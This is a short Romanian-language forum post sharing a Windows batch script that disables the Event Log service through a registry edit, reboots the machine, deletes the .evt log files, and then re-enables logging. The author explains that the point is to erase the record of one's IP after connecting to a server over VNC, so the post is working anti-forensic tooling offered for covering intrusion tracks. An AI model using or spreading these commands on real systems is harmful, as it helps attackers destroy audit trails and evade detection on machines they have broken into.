Event Log Cleaner pentru windowze

[escalation666]

Un mic script facut de mine

@echo off
@echo ***********************************************************************
@echo *                                                                                                                   *
@echo *                 Event Log cleaner                                                                  *
@echo *                 by escalation666                                                                   *
@echo ***********************************************************************


echo Windows Registry Editor Version 5.00> temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog]>> temp.reg
echo "Start"=dword:00000004>> temp.reg
REGEDIT /S temp.reg
DEL /Q temp.reg
shutdown -r

Dupa ce ati executat scriptul, si dupa ce s-a restartat calc, puteti sterge log-urile din Event Viewer. Manual: del C:\windows\system32\config\*.evt

sau puteti face inca un script batch cu urmatoarea linie de cod:

del %SystemRoot%\system32\config\*.evt
echo Windows Registry Editor Version 5.00> temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog]>> temp.reg
echo "Start"=dword:00000002>> temp.reg
REGEDIT /S temp.reg
DEL /Q temp.reg

Log-urile is sterse, event viewer nu mai este disabled, and you are safe!

Este posibil ca unele servicii care sunt dependente de Event Logs sa nu mai functioneze, dar din cate am testat eu nu sunt astfel de probleme.

De ce e nevoie sa stergem log-urile din event viewer?

Pai simplu...daca te conectezi prin vnc la server, ti se logheaza ip-ul and you are fucked